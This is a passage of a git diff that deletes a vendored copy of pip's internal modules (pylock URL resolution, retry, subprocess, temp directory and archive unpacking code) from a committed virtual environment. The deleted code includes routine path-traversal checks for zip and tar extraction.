-                # "file:..." as absolute, so it reaches here and urljoin honors
-                # its scheme, discarding the pylock base. Only keep the result
-                # if its scheme and host still match the lock's own.
-                base = urlsplit(pylock_path_or_url)
-                target = urlsplit(dist_url)
-                if (target.scheme, target.netloc) != (base.scheme, base.netloc):
-                    raise InstallationError(
-                        f"Path {path!r} in pylock file obtained from a URL "
-                        f"resolves outside its location: {pylock_path_or_url!r}"
-                    )
-                return dist_url
-            else:
-                return path_to_url(
-                    os.path.join(os.path.dirname(pylock_path_or_url), path)
-                )
-        else:
-            # absolute path, reject if pylock comes from a URL
-            if _is_url(pylock_path_or_url):
-                raise InstallationError(
-                    f"Absolute paths are not supported in pylock files obtained "
-                    f"from a URL: {path!r} in {pylock_path_or_url!r}"
-                )
-            return path_to_url(path)
-    else:
-        assert url is not None  # guaranteed by packaging.pylock validation
-        return url
-
-
-def package_vcs_requirement_url(
-    pylock_path_or_url: str, package_vcs: PackageVcs
-) -> str:
-    dist_url = _package_dist_url(pylock_path_or_url, package_vcs.path, package_vcs.url)
-    url = f"{package_vcs.type}+{dist_url}@{package_vcs.commit_id}"
-    if package_vcs.subdirectory:
-        if "#" in url:
-            raise InstallationError(
-                f"Package URL {url!r} cannot contain fragments in combination "
-                f"with subdirectory field (in {pylock_path_or_url!r})"
-            )
-        url += "#subdirectory=" + package_vcs.subdirectory
-    return url
-
-
-def package_archive_requirement_url(
-    pylock_path_or_url: str, package_archive: PackageArchive
-) -> str:
-    url = _package_dist_url(
-        pylock_path_or_url, package_archive.path, package_archive.url
-    )
-    if package_archive.subdirectory:
-        if "#" in url:
-            raise InstallationError(
-                f"Package URL {url!r} cannot contain fragments in combination "
-                f"with subdirectory field (in {pylock_path_or_url!r})"
-            )
-        url += "#subdirectory=" + package_archive.subdirectory
-    return url
-
-
-def package_directory_requirement_url(
-    pylock_path_or_url: str, package_directory: PackageDirectory
-) -> str:
-    if _is_url(pylock_path_or_url) and not pylock_path_or_url.startswith("file://"):
-        raise InstallationError(
-            f"Directory entries are not supported in remote pylock.toml "
-            f"{pylock_path_or_url!r}"
-        )
-    url = _package_dist_url(pylock_path_or_url, package_directory.path, None)
-    assert url.startswith("file://")
-    if not url.endswith("/"):
-        url += "/"
-    if package_directory.subdirectory:
-        url += package_directory.subdirectory
-        if not url.endswith("/"):
-            url += "/"
-    return url
-
-
-def package_sdist_requirement_url(
-    pylock_path_or_url: str, package_sdist: PackageSdist
-) -> str:
-    return _package_dist_url(pylock_path_or_url, package_sdist.path, package_sdist.url)
-
-
-def package_wheel_requirement_url(
-    pylock_path_or_url: str, package_wheel: PackageWheel
-) -> str:
-    return _package_dist_url(pylock_path_or_url, package_wheel.path, package_wheel.url)
-
-
-def _get_pylock_path_or_url_content(path_or_url: str, session: PipSession) -> str:
-    # TODO: refactor - this is similar to req_file.get_file_content
-    scheme = urlsplit(path_or_url).scheme
-    # Pip has special support for file:// URLs (LocalFSAdapter).
-    if scheme in ["http", "https", "file"]:
-        # Delay importing heavy network modules until absolutely necessary.
-        from pip._internal.network.utils import raise_for_status
-
-        resp = session.get(path_or_url)
-        raise_for_status(resp)
-        return resp.text
-
-    # Assume this is a bare path.
-    return Path(path_or_url).read_text(encoding="utf-8")
-
-
-def select_from_pylock_path_or_url(
-    pylock_path_or_url: str,
-    session: PipSession,
-) -> Iterator[
-    tuple[
-        Package,
-        PackageVcs | PackageDirectory | PackageArchive | PackageWheel | PackageSdist,
-    ]
-]:
-    try:
-        pylock_content = _get_pylock_path_or_url_content(pylock_path_or_url, session)
-    except DiagnosticPipError:
-        raise
-    except Exception as exc:
-        raise InstallationError(
-            f"Error reading pylock file {pylock_path_or_url!r}: {exc}"
-        ) from exc
-
-    try:
-        lock = Pylock.from_dict(tomllib.loads(pylock_content))
-    except Exception as exc:
-        raise InstallationError(
-            f"Invalid pylock file {pylock_path_or_url!r}: {exc}"
-        ) from exc
-
-    try:
-        # TODO: for completeness, pylock.select should support preferring sdist
-        # over wheels to support --no-binary
-        yield from lock.select()
-    except Exception as exc:
-        raise InstallationError(
-            f"Cannot select requirements from pylock file {pylock_path_or_url!r}: {exc}"
-        ) from exc
diff --git a/venv/Lib/site-packages/pip/_internal/utils/retry.py b/venv/Lib/site-packages/pip/_internal/utils/retry.py
deleted file mode 100644
index 1392c8fbbc7054f2169c9d370ca94770821fe0e9..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/retry.py
+++ /dev/null
@@ -1,46 +0,0 @@
-from __future__ import annotations
-
-import functools
-from collections.abc import Callable
-from time import perf_counter, sleep
-from typing import TYPE_CHECKING, TypeVar
-
-if TYPE_CHECKING:
-    from typing_extensions import ParamSpec
-
-    T = TypeVar("T")
-    P = ParamSpec("P")
-
-
-def retry(
-    wait: float, stop_after_delay: float
-) -> Callable[[Callable[P, T]], Callable[P, T]]:
-    """Decorator to automatically retry a function on error.
-
-    If the function raises, the function is recalled with the same arguments
-    until it returns or the time limit is reached. When the time limit is
-    surpassed, the last exception raised is reraised.
-
-    :param wait: The time to wait after an error before retrying, in seconds.
-    :param stop_after_delay: The time limit after which retries will cease,
-        in seconds.
-    """
-
-    def wrapper(func: Callable[P, T]) -> Callable[P, T]:
-
-        @functools.wraps(func)
-        def retry_wrapped(*args: P.args, **kwargs: P.kwargs) -> T:
-            # The performance counter is monotonic on all platforms we care
-            # about and has much better resolution than time.monotonic().
-            start_time = perf_counter()
-            while True:
-                try:
-                    return func(*args, **kwargs)
-                except Exception:
-                    if perf_counter() - start_time > stop_after_delay:
-                        raise
-                    sleep(wait)
-
-        return retry_wrapped
-
-    return wrapper
diff --git a/venv/Lib/site-packages/pip/_internal/utils/subprocess.py b/venv/Lib/site-packages/pip/_internal/utils/subprocess.py
deleted file mode 100644
index 06f45645d052b7578c8d71950d28c9c1af278d7e..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/subprocess.py
+++ /dev/null
@@ -1,249 +0,0 @@
-from __future__ import annotations
-
-import logging
-import os
-import shlex
-import subprocess
-from collections.abc import Callable, Iterable, Mapping
-from typing import Any, Literal
-
-from pip._vendor.rich.markup import escape
-
-from pip._internal.cli.spinners import SpinnerInterface, open_spinner
-from pip._internal.exceptions import InstallationSubprocessError
-from pip._internal.utils.logging import VERBOSE, subprocess_logger
-from pip._internal.utils.misc import HiddenText
-
-CommandArgs = list[str | HiddenText]
-
-
-def make_command(*args: str | HiddenText | CommandArgs) -> CommandArgs:
-    """
-    Create a CommandArgs object.
-    """
-    command_args: CommandArgs = []
-    for arg in args:
-        # Check for list instead of CommandArgs since CommandArgs is
-        # only known during type-checking.
-        if isinstance(arg, list):
-            command_args.extend(arg)
-        else:
-            # Otherwise, arg is str or HiddenText.
-            command_args.append(arg)
-
-    return command_args
-
-
-def format_command_args(args: list[str] | CommandArgs) -> str:
-    """
-    Format command arguments for display.
-    """
-    # For HiddenText arguments, display the redacted form by calling str().
-    # Also, we don't apply str() to arguments that aren't HiddenText since
-    # this can trigger a UnicodeDecodeError in Python 2 if the argument
-    # has type unicode and includes a non-ascii character.  (The type
-    # checker doesn't ensure the annotations are correct in all cases.)
-    return " ".join(
-        shlex.quote(str(arg)) if isinstance(arg, HiddenText) else shlex.quote(arg)
-        for arg in args
-    )
-
-
-def reveal_command_args(args: list[str] | CommandArgs) -> list[str]:
-    """
-    Return the arguments in their raw, unredacted form.
-    """
-    return [arg.secret if isinstance(arg, HiddenText) else arg for arg in args]
-
-
-def call_subprocess(
-    cmd: list[str] | CommandArgs,
-    show_stdout: bool = False,
-    cwd: str | None = None,
-    on_returncode: Literal["raise", "warn", "ignore"] = "raise",
-    extra_ok_returncodes: Iterable[int] | None = None,
-    extra_environ: Mapping[str, Any] | None = None,
-    unset_environ: Iterable[str] | None = None,
-    spinner: SpinnerInterface | None = None,
-    log_failed_cmd: bool | None = True,
-    stdout_only: bool | None = False,
-    *,
-    command_desc: str,
-) -> str:
-    """
-    Args:
-      show_stdout: if true, use INFO to log the subprocess's stderr and
-        stdout streams.  Otherwise, use DEBUG.  Defaults to False.
-      extra_ok_returncodes: an iterable of integer return codes that are
-        acceptable, in addition to 0. Defaults to None, which means [].
-      unset_environ: an iterable of environment variable names to unset
-        prior to calling subprocess.Popen().
-      log_failed_cmd: if false, failed commands are not logged, only raised.
-      stdout_only: if true, return only stdout, else return both. When true,
-        logging of both stdout and stderr occurs when the subprocess has
-        terminated, else logging occurs as subprocess output is produced.
-    """
-    if extra_ok_returncodes is None:
-        extra_ok_returncodes = []
-    if unset_environ is None:
-        unset_environ = []
-    # Most places in pip use show_stdout=False. What this means is--
-    #
-    # - We connect the child's output (combined stderr and stdout) to a
-    #   single pipe, which we read.
-    # - We log this output to stderr at DEBUG level as it is received.
-    # - If DEBUG logging isn't enabled (e.g. if --verbose logging wasn't
-    #   requested), then we show a spinner so the user can still see the
-    #   subprocess is in progress.
-    # - If the subprocess exits with an error, we log the output to stderr
-    #   at ERROR level if it hasn't already been displayed to the console
-    #   (e.g. if --verbose logging wasn't enabled).  This way we don't log
-    #   the output to the console twice.
-    #
-    # If show_stdout=True, then the above is still done, but with DEBUG
-    # replaced by INFO.
-    if show_stdout:
-        # Then log the subprocess output at INFO level.
-        log_subprocess: Callable[..., None] = subprocess_logger.info
-        used_level = logging.INFO
-    else:
-        # Then log the subprocess output using VERBOSE.  This also ensures
-        # it will be logged to the log file (aka user_log), if enabled.
-        log_subprocess = subprocess_logger.verbose
-        used_level = VERBOSE
-
-    # Whether the subprocess will be visible in the console.
-    showing_subprocess = subprocess_logger.getEffectiveLevel() <= used_level
-
-    # Only use the spinner if we're not showing the subprocess output
-    # and we have a spinner.
-    use_spinner = not showing_subprocess and spinner is not None
-
-    log_subprocess("Running command %s", command_desc)
-    env = os.environ.copy()
-    if extra_environ:
-        env.update(extra_environ)
-    for name in unset_environ:
-        env.pop(name, None)
-    try:
-        proc = subprocess.Popen(
-            # Convert HiddenText objects to the underlying str.
-            reveal_command_args(cmd),
-            stdin=subprocess.PIPE,
-            stdout=subprocess.PIPE,
-            stderr=subprocess.STDOUT if not stdout_only else subprocess.PIPE,
-            cwd=cwd,
-            env=env,
-            encoding="locale",
-            errors="backslashreplace",
-        )
-    except Exception as exc:
-        if log_failed_cmd:
-            subprocess_logger.critical(
-                "Error %s while executing command %s",
-                exc,
-                command_desc,
-            )
-        raise
-    all_output = []
-    if not stdout_only:
-        assert proc.stdout
-        assert proc.stdin
-        proc.stdin.close()
-        # In this mode, stdout and stderr are in the same pipe.
-        while True:
-            line: str = proc.stdout.readline()
-            if not line:
-                break
-            line = line.rstrip()
-            all_output.append(line + "\n")
-
-            # Show the line immediately.
-            log_subprocess(line)
-            # Update the spinner.
-            if use_spinner:
-                assert spinner
-                spinner.spin()
-        try:
-            proc.wait()
-        finally:
-            if proc.stdout:
-                proc.stdout.close()
-        output = "".join(all_output)
-    else:
-        # In this mode, stdout and stderr are in different pipes.
-        # We must use communicate() which is the only safe way to read both.
-        out, err = proc.communicate()
-        # log line by line to preserve pip log indenting
-        for out_line in out.splitlines():
-            log_subprocess(out_line)
-        all_output.append(out)
-        for err_line in err.splitlines():
-            log_subprocess(err_line)
-        all_output.append(err)
-        output = out
-
-    proc_had_error = proc.returncode and proc.returncode not in extra_ok_returncodes
-    if use_spinner:
-        assert spinner
-        if proc_had_error:
-            spinner.finish("error")
-        else:
-            spinner.finish("done")
-    if proc_had_error:
-        if on_returncode == "raise":
-            error = InstallationSubprocessError(
-                command_description=command_desc,
-                exit_code=proc.returncode,
-                output_lines=all_output if not showing_subprocess else None,
-            )
-            if log_failed_cmd:
-                subprocess_logger.error("%s", error, extra={"rich": True})
-                subprocess_logger.verbose(
-                    "[bold magenta]full command[/]: [blue]%s[/]",
-                    escape(format_command_args(cmd)),
-                    extra={"markup": True},
-                )
-                subprocess_logger.verbose(
-                    "[bold magenta]cwd[/]: %s",
-                    escape(cwd or "[inherit]"),
-                    extra={"markup": True},
-                )
-
-            raise error
-        elif on_returncode == "warn":
-            subprocess_logger.warning(
-                'Command "%s" had error code %s in %s',
-                command_desc,
-                proc.returncode,
-                cwd,
-            )
-        elif on_returncode == "ignore":
-            pass
-        else:
-            raise ValueError(f"Invalid value: on_returncode={on_returncode!r}")
-    return output
-
-
-def runner_with_spinner_message(message: str) -> Callable[..., None]:
-    """Provide a subprocess_runner that shows a spinner message.
-
-    Intended for use with for BuildBackendHookCaller. Thus, the runner has
-    an API that matches what's expected by BuildBackendHookCaller.subprocess_runner.
-    """
-
-    def runner(
-        cmd: list[str],
-        cwd: str | None = None,
-        extra_environ: Mapping[str, Any] | None = None,
-    ) -> None:
-        with open_spinner(message) as spinner:
-            call_subprocess(
-                cmd,
-                command_desc=message,
-                cwd=cwd,
-                extra_environ=extra_environ,
-                spinner=spinner,
-            )
-
-    return runner
diff --git a/venv/Lib/site-packages/pip/_internal/utils/temp_dir.py b/venv/Lib/site-packages/pip/_internal/utils/temp_dir.py
deleted file mode 100644
index 336c618b8148841bb9b5e2790078038f5f8f8fb8..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/temp_dir.py
+++ /dev/null
@@ -1,293 +0,0 @@
-from __future__ import annotations
-
-import errno
-import itertools
-import logging
-import os.path
-import tempfile
-import traceback
-from collections.abc import Callable, Generator
-from contextlib import ExitStack, contextmanager
-from pathlib import Path
-from typing import (
-    Any,
-    TypeVar,
-)
-
-from pip._internal.utils.misc import enum, rmtree
-
-logger = logging.getLogger(__name__)
-
-_T = TypeVar("_T", bound="TempDirectory")
-
-
-# Kinds of temporary directories. Only needed for ones that are
-# globally-managed.
-tempdir_kinds = enum(
-    BUILD_ENV="build-env",
-    EPHEM_WHEEL_CACHE="ephem-wheel-cache",
-    REQ_BUILD="req-build",
-)
-
-
-_tempdir_manager: ExitStack | None = None
-
-
-@contextmanager
-def global_tempdir_manager() -> Generator[None, None, None]:
-    global _tempdir_manager
-    with ExitStack() as stack:
-        old_tempdir_manager, _tempdir_manager = _tempdir_manager, stack
-        try:
-            yield
-        finally:
-            _tempdir_manager = old_tempdir_manager
-
-
-class TempDirectoryTypeRegistry:
-    """Manages temp directory behavior"""
-
-    def __init__(self) -> None:
-        self._should_delete: dict[str, bool] = {}
-
-    def set_delete(self, kind: str, value: bool) -> None:
-        """Indicate whether a TempDirectory of the given kind should be
-        auto-deleted.
-        """
-        self._should_delete[kind] = value
-
-    def get_delete(self, kind: str) -> bool:
-        """Get configured auto-delete flag for a given TempDirectory type,
-        default True.
-        """
-        return self._should_delete.get(kind, True)
-
-
-_tempdir_registry: TempDirectoryTypeRegistry | None = None
-
-
-@contextmanager
-def tempdir_registry() -> Generator[TempDirectoryTypeRegistry, None, None]:
-    """Provides a scoped global tempdir registry that can be used to dictate
-    whether directories should be deleted.
-    """
-    global _tempdir_registry
-    old_tempdir_registry = _tempdir_registry
-    _tempdir_registry = TempDirectoryTypeRegistry()
-    try:
-        yield _tempdir_registry
-    finally:
-        _tempdir_registry = old_tempdir_registry
-
-
-class _Default:
-    pass
-
-
-_default = _Default()
-
-
-class TempDirectory:
-    """Helper class that owns and cleans up a temporary directory.
-
-    This class can be used as a context manager or as an OO representation of a
-    temporary directory.
-
-    Attributes:
-        path
-            Location to the created temporary directory
-        delete
-            Whether the directory should be deleted when exiting
-            (when used as a contextmanager)
-
-    Methods:
-        cleanup()
-            Deletes the temporary directory
-
-    When used as a context manager, if the delete attribute is True, on
-    exiting the context the temporary directory is deleted.
-    """
-
-    def __init__(
-        self,
-        path: str | None = None,
-        delete: bool | None | _Default = _default,
-        kind: str = "temp",
-        globally_managed: bool = False,
-        ignore_cleanup_errors: bool = True,
-    ):
-        super().__init__()
-
-        if delete is _default:
-            if path is not None:
-                # If we were given an explicit directory, resolve delete option
-                # now.
-                delete = False
-            else:
-                # Otherwise, we wait until cleanup and see what
-                # tempdir_registry says.
-                delete = None
-
-        # The only time we specify path is in for editables where it
-        # is the value of the --src option.
-        if path is None:
-            path = self._create(kind)
-
-        self._path = path
-        self._deleted = False
-        self.delete = delete
-        self.kind = kind
-        self.ignore_cleanup_errors = ignore_cleanup_errors
-
-        if globally_managed:
-            assert _tempdir_manager is not None
-            _tempdir_manager.enter_context(self)
-
-    @property
-    def path(self) -> str:
-        assert not self._deleted, f"Attempted to access deleted path: {self._path}"
-        return self._path
-
-    def __repr__(self) -> str:
-        return f"<{self.__class__.__name__} {self.path!r}>"
-
-    def __enter__(self: _T) -> _T:
-        return self
-
-    def __exit__(self, exc: Any, value: Any, tb: Any) -> None:
-        if self.delete is not None:
-            delete = self.delete
-        elif _tempdir_registry:
-            delete = _tempdir_registry.get_delete(self.kind)
-        else:
-            delete = True
-
-        if delete:
-            self.cleanup()
-
-    def _create(self, kind: str) -> str:
-        """Create a temporary directory and store its path in self.path"""
-        # We realpath here because some systems have their default tmpdir
-        # symlinked to another directory.  This tends to confuse build
-        # scripts, so we canonicalize the path by traversing potential
-        # symlinks here.
-        path = os.path.realpath(tempfile.mkdtemp(prefix=f"pip-{kind}-"))
-        logger.debug("Created temporary directory: %s", path)
-        return path
-
-    def cleanup(self) -> None:
-        """Remove the temporary directory created and reset state"""
-        self._deleted = True
-        if not os.path.exists(self._path):
-            return
-
-        errors: list[BaseException] = []
-
-        def onerror(
-            func: Callable[..., Any],
-            path: Path,
-            exc_val: BaseException,
-        ) -> None:
-            """Log a warning for a `rmtree` error and continue"""
-            formatted_exc = "\n".join(
-                traceback.format_exception_only(type(exc_val), exc_val)
-            )
-            formatted_exc = formatted_exc.rstrip()  # remove trailing new line
-            if func in (os.unlink, os.remove, os.rmdir):
-                logger.debug(
-                    "Failed to remove a temporary file '%s' due to %s.\n",
-                    path,
-                    formatted_exc,
-                )
-            else:
-                logger.debug("%s failed with %s.", func.__qualname__, formatted_exc)
-            errors.append(exc_val)
-
-        if self.ignore_cleanup_errors:
-            try:
-                # first try with @retry; retrying to handle ephemeral errors
-                rmtree(self._path, ignore_errors=False)
-            except OSError:
-                # last pass ignore/log all errors
-                rmtree(self._path, onexc=onerror)
-            if errors:
-                logger.warning(
-                    "Failed to remove contents in a temporary directory '%s'.\n"
-                    "You can safely remove it manually.",
-                    self._path,
-                )
-        else:
-            rmtree(self._path)
-
-
-class AdjacentTempDirectory(TempDirectory):
-    """Helper class that creates a temporary directory adjacent to a real one.
-
-    Attributes:
-        original
-            The original directory to create a temp directory for.
-        path
-            After calling create() or entering, contains the full
-            path to the temporary directory.
-        delete
-            Whether the directory should be deleted when exiting
-            (when used as a contextmanager)
-
-    """
-
-    # The characters that may be used to name the temp directory
-    # We always prepend a ~ and then rotate through these until
-    # a usable name is found.
-    # pkg_resources raises a different error for .dist-info folder
-    # with leading '-' and invalid metadata
-    LEADING_CHARS = "-~.=%0123456789"
-
-    def __init__(self, original: str, delete: bool | None = None) -> None:
-        self.original = original.rstrip("/\\")
-        super().__init__(delete=delete)
-
-    @classmethod
-    def _generate_names(cls, name: str) -> Generator[str, None, None]:
-        """Generates a series of temporary names.
-
-        The algorithm replaces the leading characters in the name
-        with ones that are valid filesystem characters, but are not
-        valid package names (for both Python and pip definitions of
-        package).
-        """
-        for i in range(1, len(name)):
-            for candidate in itertools.combinations_with_replacement(
-                cls.LEADING_CHARS, i - 1
-            ):
-                new_name = "~" + "".join(candidate) + name[i:]
-                if new_name != name:
-                    yield new_name
-
-        # If we make it this far, we will have to make a longer name
-        for i in range(len(cls.LEADING_CHARS)):
-            for candidate in itertools.combinations_with_replacement(
-                cls.LEADING_CHARS, i
-            ):
-                new_name = "~" + "".join(candidate) + name
-                if new_name != name:
-                    yield new_name
-
-    def _create(self, kind: str) -> str:
-        root, name = os.path.split(self.original)
-        for candidate in self._generate_names(name):
-            path = os.path.join(root, candidate)
-            try:
-                os.mkdir(path)
-            except OSError as ex:
-                # Continue if the name exists already
-                if ex.errno != errno.EEXIST:
-                    raise
-            else:
-                path = os.path.realpath(path)
-                break
-        else:
-            # Final fallback on the default behavior.
-            path = os.path.realpath(tempfile.mkdtemp(prefix=f"pip-{kind}-"))
-
-        logger.debug("Created temporary directory: %s", path)
-        return path
diff --git a/venv/Lib/site-packages/pip/_internal/utils/unpacking.py b/venv/Lib/site-packages/pip/_internal/utils/unpacking.py
deleted file mode 100644
index 5771648bd6b1653d5147a0705a1965db5f274fc4..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/unpacking.py
+++ /dev/null
@@ -1,407 +0,0 @@
-"""Utilities related archives."""
-
-from __future__ import annotations
-
-import logging
-import os
-import shutil
-import stat
-import sys
-import tarfile
-import zipfile
-from collections.abc import Iterable
-from zipfile import ZipInfo
-
-from pip._internal.exceptions import InstallationError
-from pip._internal.utils.filetypes import (
-    BZ2_EXTENSIONS,
-    TAR_EXTENSIONS,
-    XZ_EXTENSIONS,
-    ZIP_EXTENSIONS,
-)
-from pip._internal.utils.misc import ensure_dir
-
-logger = logging.getLogger(__name__)
-
-
-SUPPORTED_EXTENSIONS = ZIP_EXTENSIONS + TAR_EXTENSIONS
-
-try:
-    import bz2  # noqa
-
-    SUPPORTED_EXTENSIONS += BZ2_EXTENSIONS
-except ImportError:
-    logger.debug("bz2 module is not available")
-
-try:
-    # Only for Python 3.3+
-    import lzma  # noqa
-
-    SUPPORTED_EXTENSIONS += XZ_EXTENSIONS
-except ImportError:
-    logger.debug("lzma module is not available")
-
-
-def current_umask() -> int:
-    """Get the current umask which involves having to set it temporarily."""
-    mask = os.umask(0)
-    os.umask(mask)
-    return mask
-
-
-def split_leading_dir(path: str) -> list[str]:
-    path = path.lstrip("/").lstrip("\\")
-    if "/" in path and (
-        ("\\" in path and path.find("/") < path.find("\\")) or "\\" not in path
-    ):
-        return path.split("/", 1)
-    elif "\\" in path:
-        return path.split("\\", 1)
-    else:
-        return [path, ""]
-
-
-def has_leading_dir(paths: Iterable[str]) -> bool:
-    """Returns true if all the paths have the same leading path name
-    (i.e., everything is in one subdirectory in an archive)"""
-    common_prefix = None
-    for path in paths:
-        prefix, rest = split_leading_dir(path)
-        if not prefix:
-            return False
-        elif common_prefix is None:
-            common_prefix = prefix
-        elif prefix != common_prefix:
-            return False
-    return True
-
-
-def is_within_directory(
-    directory: str, target: str, *, resolve_symlinks: bool = False
-) -> bool:
-    """
-    Return true if the absolute path of target is within the directory
-    (including when target is equal to the directory).
-
-    When ``resolve_symlinks`` is true, resolve symlinks before comparing so
-    traversal through a symlink (e.g. "link/../file") is also caught.
-    """
-    if resolve_symlinks:
-        abs_directory = os.path.realpath(directory)
-        abs_target = os.path.realpath(target)
-    else:
-        abs_directory = os.path.abspath(directory)
-        abs_target = os.path.abspath(target)
-
-    return abs_target == abs_directory or abs_target.startswith(abs_directory + os.sep)
-
-
-def _get_default_mode_plus_executable() -> int:
-    return 0o777 & ~current_umask() | 0o111
-
-
-def set_extracted_file_to_default_mode_plus_executable(path: str) -> None:
-    """
-    Make file present at path have execute for user/group/world
-    (chmod +x) is no-op on windows per python docs
-    """
-    os.chmod(path, _get_default_mode_plus_executable())
-
-
-def zip_item_is_executable(info: ZipInfo) -> bool:
-    mode = info.external_attr >> 16
-    # if mode and regular file and any execute permissions for
-    # user/group/world?
-    return bool(mode and stat.S_ISREG(mode) and mode & 0o111)
-
-
-def unzip_file(filename: str, location: str, flatten: bool = True) -> None:
-    """
-    Unzip the file (with path `filename`) to the destination `location`.  All
-    files are written based on system defaults and umask (i.e. permissions are
-    not preserved), except that regular file members with any execute
-    permissions (user, group, or world) have "chmod +x" applied after being
-    written. Note that for windows, any execute changes using os.chmod are
-    no-ops per the python docs.
-    """
-    ensure_dir(location)
-    zipfp = open(filename, "rb")
-    try:
-        zip = zipfile.ZipFile(zipfp, allowZip64=True)
-        leading = has_leading_dir(zip.namelist()) and flatten
-        for info in zip.infolist():
-            name = info.filename
-            fn = name
-            if leading:
-                fn = split_leading_dir(name)[1]
-            fn = os.path.join(location, fn)
-            dir = os.path.dirname(fn)
-            if not is_within_directory(location, fn):
-                message = (
-                    "The zip file ({}) has a file ({}) trying to install "
-                    "outside target directory ({})"
-                )
-                raise InstallationError(message.format(filename, fn, location))
-            if fn.endswith(("/", "\\")):
-                # A directory
-                ensure_dir(fn)
-            else:
-                ensure_dir(dir)
-                # Don't use read() to avoid allocating an arbitrarily large
-                # chunk of memory for the file's content
-                fp = zip.open(name)
-                try:
-                    with open(fn, "wb") as destfp:
-                        shutil.copyfileobj(fp, destfp)
-                finally:
-                    fp.close()
-                    if zip_item_is_executable(info):
-                        set_extracted_file_to_default_mode_plus_executable(fn)
-    finally:
-        zipfp.close()
-
-
-def untar_file(filename: str, location: str) -> None:
-    """
-    Untar the file (with path `filename`) to the destination `location`.
-    All files are written based on system defaults and umask (i.e. permissions
-    are not preserved), except that regular file members with any execute
-    permissions (user, group, or world) have "chmod +x" applied on top of the
-    default.  Note that for windows, any execute changes using os.chmod are
-    no-ops per the python docs.
-    """
-    ensure_dir(location)
-    if filename.lower().endswith(".gz") or filename.lower().endswith(".tgz"):
-        mode = "r:gz"
-    elif filename.lower().endswith(BZ2_EXTENSIONS):
-        mode = "r:bz2"
-    elif filename.lower().endswith(XZ_EXTENSIONS):
-        mode = "r:xz"
-    elif filename.lower().endswith(".tar"):
-        mode = "r"
-    else:
-        logger.warning(
-            "Cannot determine compression type for file %s",
-            filename,
-        )
-        mode = "r:*"
-
-    tar = tarfile.open(filename, mode, encoding="utf-8")  # type: ignore
-    try:
-        leading = has_leading_dir([member.name for member in tar.getmembers()])
-
-        # PEP 706 added `tarfile.data_filter`, and made some other changes to
-        # Python's tarfile module (see below). The features were backported to
-        # security releases.
-        try:
-            data_filter = tarfile.data_filter
-        except AttributeError:
-            _untar_without_filter(filename, location, tar, leading)
-        else:
-            default_mode_plus_executable = _get_default_mode_plus_executable()
-
-            if leading:
-                # Strip the leading directory from all files in the archive,
-                # including hardlink targets (which are relative to the
-                # unpack location).
-                for member in tar.getmembers():
-                    name_lead, name_rest = split_leading_dir(member.name)
-                    member.name = name_rest
-                    if member.islnk():
-                        lnk_lead, lnk_rest = split_leading_dir(member.linkname)
-                        if lnk_lead == name_lead:
-                            member.linkname = lnk_rest
-
-            def pip_filter(member: tarfile.TarInfo, path: str) -> tarfile.TarInfo:
-                orig_mode = member.mode
-                try:
-                    try:
-                        member = data_filter(member, location)
-                    except tarfile.LinkOutsideDestinationError:
-                        if sys.version_info[:3] in {
-                            (3, 9, 17),
-                            (3, 10, 12),
-                            (3, 11, 4),
-                        }:
-                            # The tarfile filter in specific Python versions
-                            # raises LinkOutsideDestinationError on valid input
-                            # (https://github.com/python/cpython/issues/107845)
-                            # Ignore the error there, but do use the
-                            # more lax `tar_filter`
-                            member = tarfile.tar_filter(member, location)
-                        else:
-                            raise
-                except tarfile.TarError as exc:
-                    message = "Invalid member in the tar file {}: {}"
-                    # Filter error messages mention the member name.
-                    # No need to add it here.
-                    raise InstallationError(
-                        message.format(
-                            filename,
-                            exc,
-                        )
-                    )
-                if member.isfile() and orig_mode & 0o111:
-                    member.mode = default_mode_plus_executable
-                else:
-                    # See PEP 706 note above.
-                    # The PEP changed this from `int` to `Optional[int]`,
-                    # where None means "use the default". Mypy doesn't
-                    # know this yet.
-                    member.mode = None  # type: ignore [assignment]
-                return member
-
-            tar.extractall(location, filter=pip_filter)
-
-    finally:
-        tar.close()
-
-
-def is_symlink_target_in_tar(tar: tarfile.TarFile, tarinfo: tarfile.TarInfo) -> bool:
-    """Check if the file pointed to by the symbolic link is in the tar archive"""
-    linkname = os.path.join(os.path.dirname(tarinfo.name), tarinfo.linkname)
-
-    linkname = os.path.normpath(linkname)
-    linkname = linkname.replace("\\", "/")
-
-    try:
-        tar.getmember(linkname)
-        return True
-    except KeyError:
-        return False
-
-
-def _untar_without_filter(
-    filename: str,
-    location: str,
-    tar: tarfile.TarFile,
-    leading: bool,
-) -> None:
-    """Fallback for Python without tarfile.data_filter"""
-    # NOTE: This function can be removed once pip requires CPython ≥ 3.12.​
-    # PEP 706 added tarfile.data_filter, made tarfile extraction operations more secure.
-    # This feature is fully supported from CPython 3.12 onward.
-    for member in tar.getmembers():
-        fn = member.name
-        if leading:
-            fn = split_leading_dir(fn)[1]
-        path = os.path.join(location, fn)
-
-        # The plain check rejects textual ".." escapes; resolving symlinks also
-        # catches a later member redirected outside by an earlier member's
-        # symlink (e.g. "link/../file").
-        if not is_within_directory(location, path) or not is_within_directory(
-            location, path, resolve_symlinks=True
-        ):
-            message = (
-                "The tar file ({}) has a file ({}) trying to install "
-                "outside target directory ({})"
-            )
-            raise InstallationError(message.format(filename, path, location))
-        if member.isdir():
-            ensure_dir(path)
-        elif member.issym():
-            # Reject symlinks resolving outside the destination, so a later
-            # member cannot be written through them.
-            target = os.path.join(os.path.dirname(path), member.linkname)
-            if not is_within_directory(location, target, resolve_symlinks=True):
-                message = (
-                    "The tar file ({}) has a file ({}) trying to install "
-                    "outside target directory ({})"
-                )
-                raise InstallationError(
-                    message.format(filename, member.name, member.linkname)
-                )
-            if not is_symlink_target_in_tar(tar, member):
-                message = (
-                    "The tar file ({}) has a file ({}) trying to install "
-                    "outside target directory ({})"
-                )
-                raise InstallationError(
-                    message.format(filename, member.name, member.linkname)
-                )
-            try:
-                tar._extract_member(member, path)
-            except Exception as exc:
-                # Some corrupt tar files seem to produce this
-                # (specifically bad symlinks)
-                logger.warning(
-                    "In the tar file %s the member %s is invalid: %s",
-                    filename,
-                    member.name,
-                    exc,
-                )
-                continue
-        else:
-            try:
-                fp = tar.extractfile(member)
-            except (KeyError, AttributeError) as exc:
-                # Some corrupt tar files seem to produce this
-                # (specifically bad symlinks)
-                logger.warning(
-                    "In the tar file %s the member %s is invalid: %s",
-                    filename,
-                    member.name,
